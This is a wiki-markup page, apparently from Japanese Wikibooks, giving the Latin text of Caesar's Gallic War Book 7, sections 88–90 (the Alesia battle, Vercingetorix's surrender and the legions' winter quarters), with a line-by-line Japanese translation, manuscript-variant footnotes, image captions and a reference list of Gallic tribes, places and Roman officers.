**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは、真紅の外套を着用していたようである。）&lt;/span&gt;
*turmisque equitum et cohortibus visis quas se sequi iusserat, 
**（カエサルが）自らに随行することを命じていた諸&lt;ruby&gt;&lt;rb&gt;[[w:騎兵|騎兵]]小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が望見されて、
*ut de locis superioribus haec declivia et devexa cernebantur, 
**（ウェルカッスィウェッラウヌスらが派遣された）高地から、これらの斜面や急坂が見分けられたので、
*hostes proelium committunt. 
**敵方（ガッリア勢）は戦端を開いた。
*②　Utrimque clamore sublato 
**（ガッリア来援軍とアレスィア籠城軍の）双方から雄叫びが上げられて、
*excipit rursus ex vallo atque omnibus munitionibus clamor. 
**さらに、防柵やすべての塁壁から（ローマ勢の）雄叫びが続いた。
*Nostri omissis pilis gladiis rem gerunt. 
**我が方（ローマ勢）は&lt;ruby&gt;&lt;rb&gt;[[w:ピルム|投槍]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を放棄して、&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で合戦した。
*③　Repente post tergum equitatus cernitur; 
**不意に（ガッリア勢の）背後に（ローマ勢の）騎兵隊が見分けられた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：87節②項で、カエサルは騎兵隊に外壁を迂回して敵を背後から襲撃するように命じていた。）&lt;/span&gt;
*cohortes aliae adpropinquant. 
**別の諸&lt;ruby&gt;&lt;rb&gt;歩兵大隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も接近して来た。
*Hostes terga vertunt; 
**敵方（ガッリア勢）は、（ローマ勢に）背を向けた。
*fugientibus equites occurrunt. 
**逃げる者たち（ガッリア勢）を（ローマ勢の）騎兵たちが追撃した。
*Fit magna caedes. 
**大虐殺が起こった。
*④　Sedullus, dux et princeps Lemovicum, occiditur; 
**レモウィケス族の将帥で領袖であるセドゥッルスが斃された。
*[[w:la:Vercassivellaunus|Vercassivellaunus]] Arvernus vivus in fuga comprehenditur; 
**[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスは逃亡中に生きたまま捕らえられた。
*signa militaria LXXIIII(septuaginta quattuor) ad Caesarem referuntur; 
**（ガッリア勢の）74本の軍旗がカエサルのところへ運んで来られた。
*pauci ex tanto numero se incolumes&lt;ref&gt;se incolumes はα系写本の記述で、β系写本では incolumes se となっている。&lt;/ref&gt; in castra recipiunt. 
**これほどの兵数のうち、わずかな者たち（だけ）が無傷のまま陣営に退却した。
*⑤　Conspicati ex oppido caedem et fugam suorum 
**（アレスィアの）[[w:オッピドゥム|城塞都市]]から味方の虐殺や逃亡を視認した者たちは、
*desperata salute copias a munitionibus reducunt. 
**身の安全に絶望して、軍勢を塁壁から（城塞都市に）呼び戻した。
*⑥　Fit protinus hac re audita ex castris Gallorum fuga. 
**この事態が聞かれるとただちに、（来援に来ていた）ガッリア人たちの陣営から逃亡が生じた。
*Quodnisi crebris subsidiis ac totius diei labore milites essent defessi, 
**もし、たびたびの（味方への）支援や一日中の働きにより兵士たちが疲れ果てていなかったならば、
*omnes hostium copiae deleri potuissent. 
**敵方（ガッリア来援軍）の全軍勢が壊滅させられることが可能であっただろう。
*⑦　De media nocte missus equitatus novissimum agmen consequitur; 
**真夜中の頃に、派遣されていた（ローマ勢の）騎兵隊が（ガッリア勢の）後衛に追いついて、
*magnus numerus capitur atque interficitur; 
**（ガッリア勢の）大多数が捕らえられ、かつ殺戮された。
*reliqui ex fuga in civitates discedunt.
**（ガッリア来援軍の）残りの者たちは、逃亡して諸部族のところに逃げのびた。

==ガッリア同盟軍主力の降伏==
===89節===
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|330px|「カエサルの陣営に投降するウェルキンゲトリークス」&lt;br&gt;“Vercingétorix se rendant au camp de César”、&lt;br&gt;アンリ＝ポール・モット（[[w:fr:Henri-Paul_Motte|Henri-Paul Motte]]）画、1886年。&lt;br&gt;[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|330px|「ウェルキンゲトリークスが彼の武器をユリウス・カエサルの足元に投げ捨てる」“Vercingétorix jette ses armes aux pieds de Jules César”、リオネル＝ノエル・ロワイエ（[[w:fr:Lionel Royer|Lionel-Noël Royer]]）
画、1899年。[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Coin_Vercingetorix.jpg|thumb|right|300px|ローマがBC48年に発行した[[w:デナリウス|デナリウス銀貨]]。ウェルキンゲトリークスの横顔が刻まれているとも言われ、[[w:マメルティヌスの牢獄|トゥッリアヌム牢獄]]に虜囚となっているかつてのガッリアの盟主を見せしめにしたものとも考えられる。彼はBC46年に処刑されたが、カエサルもBC44年に暗殺された。]]
'''ウェルキンゲトリークスとアレスィア籠城軍の降伏'''
*①　Postero die [[w:la:Vercingetorix|Vercingetorix]] concilio convocato 
**（来援軍が敗走した）翌日に、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は会合を召集して、
*id bellum se suscepisse&lt;ref&gt;se suscepisse はα系写本の記述で、β系写本では suscepisse se となっている。&lt;/ref&gt; 
**この戦争を引き受けたことは
*non suarum necessitatum&lt;ref&gt;necessitatum はχ系･S･L･N･β系写本の記述で、B･M写本では necessitatium となっている。&lt;/ref&gt;, sed communis libertatis causa demonstrat, 
**自らの（野心の）必要性からではなく、（ガッリア）共通の自由のためだ、と明言した。
*②　et quoniam sit fortunae cedendum, 
**運命には従うべきものなのであるから、
*ad utramque rem se illis offerre, 
**（敗軍の将として、以下の）どちらの事にも、自ら（の処遇）を彼ら（ガッリア人たち）に委ねよう。
*seu morte sua Romanis satisfacere 
**あるいは（ウェルキンゲトリークス）自らの死によってローマ人たちに償うこと（を欲する）にせよ、
*seu vivum tradere velint. 
**あるいは生きたまま（ローマ人たちに）引き渡すことを欲するにせよ、と。
*③　Mittuntur de his rebus ad Caesarem legati. 
**これらの事柄について、カエサルのところへ使節たちが遣わされた。
*Iubet arma tradi, principes produci. 
**（カエサルは）武器が引き渡されること、領袖たちが連行されて来ることを命じた。
*④　Ipse in munitione pro castris consedit; 
**（カエサル）自身は、陣営の前の塁壁のところに腰掛けた。
*eo duces producuntur. 
**そこに（アレスィアに籠城していた）将帥たちが連行されて来た。
*Vercingetorix deditur, arma proiciuntur. 
**ウェルキンゲトリークスが引き渡されて、武器が投げ捨てられた。
*⑤　Reservatis [[w:la:Haedui|Haeduis]] atque Arvernis, 
**（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]と[[w:アルウェルニ族|アルウェルニー族]]（の将兵たち）を保持しておいた。
*si per eos civitates reciperare&lt;ref&gt;reciperare はχ系･B&lt;sup&gt;1&lt;/sup&gt;･S･U写本の記述で、B&lt;sup&gt;c&lt;/sup&gt;･M･L･N･π系･R写本では recuperare となっている。&lt;/ref&gt; posset, 
**彼らによって両部族国家を（同盟国として）回復できないだろうかと（考えたのだ）。
*ex reliquis captivis toto exercitui capita singula praedae nomine distribuit.
**残りの（諸部族の）捕虜たちから、全軍（のローマ人）に一名ずつを戦利品という名目で分配した。

===90節===
[[画像:Autun_porte_Saint-André.JPG|thumb|right|300px|[[w:オータン|オータン市]]に遺されたローマ時代からの聖アンドレ門。[[w:ビブラクテ|ビブラクテ]]を首邑としていた[[w:ハエドゥイ族|ハエドゥイー族]]は、ローマ帝政初期に東方の平地に移り、「[[w:アウグストゥス|アウグストゥス]]の砦」を意味するアウグストドゥーヌム（[[w:la:Augustodunum|Augustodunum]]）を建設して首邑とした。これが現在のオータン（Autun）となっている。]]
[[画像:Clermont_vu_de_Montjuzet.JPG|thumb|right|300px|[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]の街並み。ローマに降伏した[[w:アルウェルニ族|アルウェルニー族]]は、後に首邑のゲルゴウィアを廃城とされ、北方の平野にあるネメトゥム（Nemetum）に移住させられた。帝政初期に[[w:アウグストゥス|アウグストゥス]]に由来するアウグストネメトゥム（[[w:la:Augustonemetum|Augustonemetum]]）に改称して、[[w:クレルモン教会会議|クレルモン教会会議]]が開かれるなど宗教的中心地として栄え、現在のクレルモン＝フェランに至る。]]
'''ハエドゥイー族とアルウェルニー族の降伏、諸軍団の冬営'''
*①　His rebus confectis in [[w:la:Haedui|Haeduos]] proficiscitur; 
**これらの事が成し遂げられて、（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]のところに出発した。
*civitatem recipit. 
**同部族を（同盟国として）回復した。
*②　Eo legati ab Arvernis missi: 
**そこに、[[w:アルウェルニ族|アルウェルニー族]]から使節たちが遣わされて来て、
*quae imperaret, se facturos pollicentur. 
**自分たちは（カエサルが）命令したことを行なうであろう、と約束した。
*Imperat magnum numerum obsidum. 
**（カエサルは）多数の人質（の供出）を命令した。
*③　Legiones in hiberna mittit. 
**（カエサルは）諸[[w:ローマ軍団|軍団]]を冬営地に派遣した。
*Captivorum circiter XX(viginti) milia Haeduis Arvernisque reddit. 
**捕虜たち約2万人をハエドゥイー族とアルウェルニー族に返還した。
*④　[[w:la:Titus Labienus|T.&lt;small&gt;(Titum)&lt;/small&gt; Labienum]] duabus cum&lt;ref&gt;duabus cum はχ系･B･M･S写本の記述で、L･N･β系写本では cum duabus となっている。&lt;/ref&gt; legionibus et equitatu in Sequanos proficisci iubet; 
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]を2個軍団および[[w:騎兵|騎兵隊]]とともにセクアニ族のところに出発することを命じた。
*huic M.&lt;small&gt;(Marcum)&lt;/small&gt; Sempronium Rutilum attribuit. 
**彼には、マルクス・[[w:センプロニウス氏族|センプロニウス]]・ルティルスを付属させた。
*⑤　C.&lt;small&gt;(Gaium)&lt;/small&gt; Fabium legatum et L.&lt;small&gt;(Lucium)&lt;/small&gt; Minucium Basilum cum legionibus duabus in Remis conlocat, 
**副官 ガーイウス・ファビウスとルキウス・ミヌキウス・バスィルスを2個軍団とともにレーミー族のところに配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：バスィルスは[[ガリア戦記 第6巻#29節|第6巻29節]]で騎兵隊を指揮した。）&lt;/span&gt;
*ne quam ab&lt;ref&gt;ab はφ系写本の記述で、χ系･β系写本では a となっている。&lt;/ref&gt; finitimis Bellovacis calamitatem accipiant. 
**（レーミー族が）近隣のベッロウァキ族から何らかの災禍を蒙らないようにしたのである。
*⑥　C.&lt;small&gt;(Gaium)&lt;/small&gt; Antistium Reginum in Ambivaretos, 
**ガーイウス・アンティスティウス・レーギーヌスをアンビウァレティ族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]、[[#83節|本巻83節]]で既出。）&lt;/span&gt;
*T.&lt;small&gt;(Titum)&lt;/small&gt; Sextium in Bituriges, 
**ティトゥス・セクスティウスをビトゥリゲース族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:en:Titus Sextius|Titus Sextius]] も[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。第6巻の年からカエサルの副官、&lt;br&gt;　　　　　[[w:三頭政治#第二回三頭政治|第二回三頭政治]]では[[w:アフリカ属州|アフリカ属州]]の総督を務め、[[w:マルクス・アエミリウス・レピドゥス|レピドゥス]]に引き継ぐ。）
*C.&lt;small&gt;(Gaium)&lt;/small&gt; Caninium Rebilum in Rutenos cum singulis legionibus mittit. 
**ガーイウス・カニニウス・レビルスをルテーニー族のところに、それぞれ1個軍団とともに派遣した。
*⑦　[[w:la:Quintus Tullius Cicero|Q.&lt;small&gt;(Quintum)&lt;/small&gt; Tullium Ciceronem]] et P.&lt;small&gt;(Publium)&lt;/small&gt; Sulpicium 
**[[w:クィントゥス・トゥッリウス・キケロ|クィーントゥス・トゥッリウス・キケロー]]とプーブリウス・スルピキウス（・ルーフス）を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：カエサルの副官 ''[[w:en:Sulpicia_gens#Sulpicii_Rufi|Publius Sulpicius Rufus]] は、&lt;br&gt;　　　　[[ガリア戦記_第4巻#22節|第4巻22節]]で既述。[[内乱記_第1巻#74節|『内乱記』第1巻74節]]でも言及される。&lt;br&gt;　　　　[[w:紀元前48年|BC48年]]に[[w:プラエトル|法務官]]、[[w:紀元前42年|BC42年]]に[[w:ケンソル|監察官]]に任官する。）&lt;/span&gt;
*[[w:la:Cabillonum|Cavilloni]]&lt;ref&gt;Cavilloni はβ系写本の記述で、α系写本などでは Cabilloni となっている。&lt;/ref&gt; et [[w:la:Matisco|Matiscone]] in Haeduis ad Ararim rei frumentariae causa conlocat. 
**ハエドゥイー族のところのアラル川沿いのカウィッロヌムとマティスコに、糧秣調達のために配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌムは現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]、マティスコは現在の[[w:マコン|マコン]]。）&lt;/span&gt;
*Ipse [[w:la:Bibracte|Bibracte]] hiemare constituit. 
**（カエサル）自身は、[[w:ビブラクテ|ビブラクテ]]で冬営することを決めた。
*⑧　His litteris&lt;ref&gt;his litteris「これらが書簡により（知られると）」はα系写本の記述で、β系写本では huius anni rebus「この年の事績が（知られると）」と異なっており、huius anni rebus &lt;ex Caesaris&gt; litteris「この年の事績が＜カエサルの＞書簡により（知られると）」 などと修正提案されている。」&lt;/ref&gt; cognitis Romae dierum viginti supplicatio redditur.
**これらが（カエサルの）書簡により知られると、ローマで20日間の感謝祭が許された。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第2巻#35節|第2巻35節]]では、かつてない15日間の感謝祭が決議されたが、今回はそれを超えるものであった。）&lt;/span&gt;
----
*&lt;span style=&quot;background-color:#99ff99;&quot;&gt;「ガリア戦記 第7巻」了。「[[ガリア戦記 第8巻]]」へ続く。&lt;/span&gt;

==脚注==
&lt;references /&gt;
==参考リンク==
'''ウィキペディア英語版など'''
*'''[[w:en:Category:Tribes of ancient Gaul|Category:Tribes of ancient Gaul]]'''（'''[[w:Category:ガリアの部族|Category:ガリアの部族]]'''）- [[w:fr:Catégorie:Personnalité gauloise|fr:Catégorie:Personnalité gauloise]]
**[[w:en:Allobroges|Allobroges]]（アッロブロゲス族）
**'''[[w:en:Arverni|Arverni]]'''（'''[[w:アルウェルニ族|アルウェルニー族]]'''）
**:'''[[w:en:Vercingetorix|Vercingetorix]]'''（'''[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercingetorix|la:Vercingetorix]]&lt;/span&gt;'''
**:[[w:fr:Celtillos|fr:Celtillos]]（ケルティッルス）；ウェルキンゲトリークスの父
**:[[w:fr:Gobannitio|fr:Gobannitio]]（ゴバンニティオ）；ウェルキンゲトリークスのおじ
**:[[w:en:Vercassivellaunos|Vercassivellaunos]]（ウェルカッスィウェッラウヌス） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercassivellaunus|la:Vercassivellaunus]]&lt;/span&gt;
**:Critognatus（クリトグナトゥス）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Critognatus|la:Critognatus]]&lt;/span&gt;
**[[w:en:Atrebates|Atrebates]]（アトレバテス族）
**:[[w:en:Commius|Commius]]（[[w:コンミウス|コンミウス]]）：ガッリアとブリタンニアにおけるアトレバテス族の王
**[[w:en:Aedui|Aedui]]（[[w:ハエドゥイ族|ハエドゥイー族]]）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Haedui|la:Haedui]]&lt;/span&gt;'''；ガッリア中部の有力部族 - [[w:fr:Éduens|fr:Éduens]] ＜[[w:fr:Catégorie:Éduens|fr:Catégorie:Éduens]]
**:[[w:en:Convictolitavis|Convictolitavis]]（コンウィクトリタウィス）- [[w:fr:Convictolitavis|fr:Convictolitavis]]
**:[[w:fr:Cotos|fr:Cotos]]（コトゥス）
**:[[w:fr:Litaviccos|fr:Litaviccos]]（リタウィックス）
**:エポレドリクス - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Eporedorix|la:Eporedorix]]&lt;/span&gt;
**:ウィリドマルス
**[[w:en:Andes (Andecavi)|Andes (Andecavi)]]（アンデス族）；現在の[[w:アンジェ|アンジェ]]（Angers）周辺の部族
**[[w:en:Aulerci|Aulerci]]（アウレルキ族）；現在のフランス北西部に居住していた部族連合
**[[w:en:Bellovaci|Bellovaci]]（ベッロウァキ族）
**[[w:en:Bituriges|Bituriges]]（ビトゥリゲース族）；現在の[[w:ブールジュ|ブールジュ]]（Bourges）周辺の部族。[[#5節|5節]]でガッリア同盟軍に寝返る。
**[[w:en:Boii|Boii]]（ボイイ族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Boii|la:Boii]]&lt;/span&gt;；[[w:ボヘミア|ボヘミア]]（[[w:la:Bohemia|la:Bohemia]]）から移住してきた部族
**Cadurci（カドゥルキー族）；現在の[[w:カオール|カオール]]（Cahors）周辺の部族 - [[w:fr:Cadurques|fr:Cadurques]]
**:[[w:en:Lucterius|Lucterius]]（ルクテリウス）；カドゥルキー族の指導者、[[#5節|5節]]を参照。
**[[w:en:Carnutes|Carnutes]]（カルヌーテース族）；現在の[[w:シャルトル|シャルトル]]（Chartres）周辺の部族
**[[w:en:Gabali|Gabali]]（ガバリ族）
**Haedui ⇒ Aedui
**[[w:en:Helvii|Helvii]]（ヘルウィイ族）；ガッリア南部にいたローマの同盟部族
**[[w:en:Lemovices|Lemovices]]（レモウィケス族）；現在の[[w:リモージュ|リモージュ]]（Limoges）周辺の部族
**:[[w:en:Sedullos|Sedullos]]（セドゥッルス　Sedullus）；レモウィケス族の将帥・領袖
**[[w:en:Lingones|Lingones]]（リンゴネス族）- [[w:fr:Lingons|fr:Lingons]]；現在のラングル（[[w:en:Langres|Langres]]）周辺の部族
**[[w:en:Mandubii|Mandubii]]（マンドゥビイ族）；[[w:アレシア|アレスィア]]周辺にいた部族
**Nitiobroges（ニティオブロゲス族）- [[w:fr:Nitiobroges|fr:Nitiobroges]]
**:[[w:fr:Ollovico|fr:Ollovico]]（オッロウィコ）；ローマ元老院から友人と呼ばれた王
**:[[w:fr:Teutomatos|fr:Teutomatos]]（テウトマトゥス）；王で、オッロウィコの子
**[[w:en:Parisii (Gaul)|Parisii (Gaul)]]（[[w:パリシイ族|パリスィイ族]]）；現在の[[w:パリ|パリ]]周辺の部族
**[[w:en:Pictones|Pictones]]（ピクトネス族）；現在の[[w:ポワチエ|ポワティエ]]（Poitiers）周辺の部族
**[[w:en:Remi|Remi]]（レーミー族）
**[[w:en:Ruteni|Ruteni]]（ルテーニー族）
**[[w:en:Segusiavi|Segusiavi]]（セグスィアウィ族）
**[[w:en:Senones|Senones]]（セノネース族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Senones|la:Senones]]&lt;/span&gt;；現在の[[w:サン (ヨンヌ県)|サン]]（Sens）周辺の部族
***[[w:en:Acco|Acco]]（アッコー）
**[[w:en:Sequani|Sequani]]（セクアニ族）
**[[w:en:Treveri|Treveri]]（トレウェリ族）
**[[w:en:Turones|Turones]]（トゥロニ族／トゥロネス族）；現在の[[w:トゥール (アンドル＝エ＝ロワール県)|トゥール]]（Tours）周辺の部族
**[[w:en:Volcae|Volcae]]（ウォルカエ族）
*&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Germani|la:Germani]]&lt;/span&gt;（ゲルマニア人）


*'''ガッリアの地名''' - '''[[w:la:Categoria:Urbes Franciae|la:Categoria:Urbes Franciae]]'''（フランスの都市）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Agedincum|la:Agedincum]]&lt;/span&gt;（アゲディンクム）；現在の[[w:サンス|サンス]]（[[w:en:Sens|Sens]]）
**[[w:en:Alesia_(city)|Alesia (city)]]（[[w:アレシア|アレスィア]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesia|la:Alesia]]&lt;/span&gt;：現在のアリーズ＝サント＝レーヌ（[[w:fr:Alise-Sainte-Reine|fr:Alise-Sainte-Reine]]）
**:'''[[w:en:Battle_of_Alesia|Battle of Alesia]]'''（'''[[w:アレシアの戦い|アレスィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesiae_pugna|la:Alesiae pugna]]&lt;/span&gt;'''
**[[w:en:Avaricum|Avaricum]] ⇒ [[w:en:Bourges|Bourges]]（アウァーリクム - 現在の[[w:ブールジュ|ブールジュ]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Avaricum_Biturigum|la:Avaricum Biturigum]]&lt;/span&gt;
**[[w:en:Bibracte|Bibracte]]（[[w:ビブラクテ|ビブラクテ]]） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Bibracte|la:Bibracte]]&lt;/span&gt;：[[w:ハエドゥイ族|ハエドゥイー族]]の首邑。現在のボーヴレ山（[[w:fr:Mont_Beuvray|fr:Mont Beuvray]]）の山頂に位置していた。
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Cabillonum|la:Cabillonum]]&lt;/span&gt;（カビッロヌム／カウィッロヌム）- 現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]（[[w:fr:Chalon-sur-Saône|fr:Chalon-sur-Saône]]）
**[[w:en:Cenabum|Cenabum]]（ケナブム）- 現在の[[w:オルレアン|オルレアン]] - [[w:fr:Cenabum|fr:Cenabum]]
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decetia|la:Decetia]]&lt;/span&gt;（デケティア）- [[w:en:Decize|en:Decize]] - 現在のドスィーズ（ドシーズ）（[[w:fr:Decize|fr:Decize]]）
**[[w:en:Gergovie|Gergovie]]（ゲルゴウィア）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gergovia|la:Gergovia]]&lt;/span&gt;
**:'''[[w:en:Battle of Gergovia|Battle of Gergovia]]'''（'''[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Obsidio Gergoviensis|la:Obsidio Gergoviensis]]&lt;/span&gt;'''
**[[w:en:Gorgobina|Gorgobina]]（ゴルゴビナ）；ボイイ族が定住した城塞都市。現在のサン＝パリズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）またはラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）
**'''[[w:en:Lutetia|Lutetia]]'''（'''[[w:ルテティア|ルテティア]]'''／ルテキア）；[[w:パリシイ族|パリスィイ族]]の首邑、現在の[[w:パリ|パリ市]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Lutetia|la:Lutetia]]&lt;/span&gt;
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Matisco|la:Matisco]]&lt;/span&gt;（マティスコ）；現在の[[w:マコン|マコン]]（Mâcon）
**Metlosenum（メトロセドゥム／メティオセドゥム／メロドゥーヌム）；現在の[[w:ムラン|ムラン]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Melodunum|la:Melodunum]]&lt;/span&gt;
**[[w:en:Narbonne|Narbonne]]（[[w:ナルボンヌ|ナルボンヌ]]；ラテン名ナルボ）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Narbo|la:Narbo]]&lt;/span&gt;；ガッリア南部・地中海岸のローマの拠点
**[[w:en:Noviodunum|Noviodunum]]（ノウィオドゥーヌム）- 現在のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）と推定されている。従来はローヌ川沿いの[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）が有力だった
**[[w:en:Vellaunodunum|Vellaunodunum]]（ウェッラウノドゥーヌム）- [[w:fr:Vellaunodunum|fr:Vellaunodunum]]；現在のモンタルジ（[[w:en:Montargis|Montargis]]）やボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）、シャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などと推定されている
**[[w:en:Vienne, Isère|Vienne, Isère]]（ヴィエンヌ；ラテン名ウィエンナ）- [[w:la:Vienna|la:Vienna]]
*'''ガッリアの地形'''
**Cevenna（ケウェンナ山地）：現在のセヴェンヌ山地（[[w:fr:Cévennes|fr:Cévennes]]・[[w:en:Cévennes|Cévennes]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Elaver|la:Elaver]]&lt;/span&gt;（エラウェル川）：現在の[[w:アリエ川|アリエ川]]（[[w:fr:Allier (rivière)|fr:Allier (rivière)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Liger|la:Liger]]&lt;/span&gt;（リゲル川）：現在の[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|fr:Loire (fleuve)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhenus|la:Rhenus]]&lt;/span&gt;（レヌス川）：現在の[[w:ライン川|ライン川]]（[[w:fr:Rhin|fr:Rhin]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhodanus|la:Rhodanus]]&lt;/span&gt;（ロダヌス川）：現在の[[w:ローヌ川|ローヌ川]]（[[w:fr:Rhône|fr:Rhône]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Sequana|la:Sequana]]&lt;/span&gt;（セクアナ川）：現在の[[w:セーヌ川|セーヌ川]]（[[w:fr:Seine|fr:Seine]]）

*ローマ勢
**[[w:en:Mark_Antony|Mark Antony]]（[[w:マルクス・アントニウス|マルクス・'''アントニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Marcus_Antonius|la:Marcus Antonius]]&lt;/span&gt;
**[[w:en:Decimus_Junius_Brutus_Albinus|Decimus Junius '''Brutus''' Albinus]]（[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ユニウス・'''ブルトゥス'''・アルビヌス]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/span&gt;（[[#9節|9節]]）
**[[w:en:Quintus Tullius Cicero|Quintus Tullius '''Cicero''']]（[[w:クィントゥス・トゥッリウス・キケロ|クィントゥス・トゥッリウス・'''キケロ''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Quintus Tullius Cicero|la:Quintus Tullius Cicero]]&lt;/span&gt;：カエサルの副官
**Gaius '''Fabius'''（ガイウス・'''ファビウス'''）：カエサルの副官
**[[w:en:Titus Labienus|Titus '''Labienus''']]（[[w:ティトゥス・ラビエヌス|ティトゥス・'''ラビエーヌス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Titus Labienus|la:Titus Labienus]]&lt;/span&gt;：カエサルの副官
**[[w:en:Trebonius|'''Trebonius''']]（[[w:ガイウス・トレボニウス|ガイウス・'''トレボニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gaius_Trebonius|la:Gaius Trebonius]]&lt;/span&gt;：カエサルの副官
**[[w:en:Lucius Julius Caesar IV|Lucius Julius '''Caesar''' IV]]（ルキウス・ユリウス・'''カエサル'''4世）：総督カエサルの副官で、4代前の高祖父を共有する。BC64年に執政官を務めた。

*イタリア方面
**[[w:en:Cisalpine_Gaul|Cisalpine Gaul]]（[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]） - [[w:la:Gallia Cisalpina|la:Gallia Cisalpina]]
**[[w:en:Populares|Populares]]（[[w:ポプラレス|ポプラレス]]；民衆派）- [[w:la:Populares|la:Populares]]
**:[[w:en:Publius_Clodius_Pulcher|Publius Clodius Pulcher]]（[[w:プブリウス・クロディウス・プルケル|プブリウス・クロディウス・プルケル]]） - [[w:la:Publius_Clodius_Pulcher|la:Publius Clodius Pulcher]]
**[[w:en:Optimates|Optimates]]（[[w:オプティマテス|オプティマテス]]；元老院派）
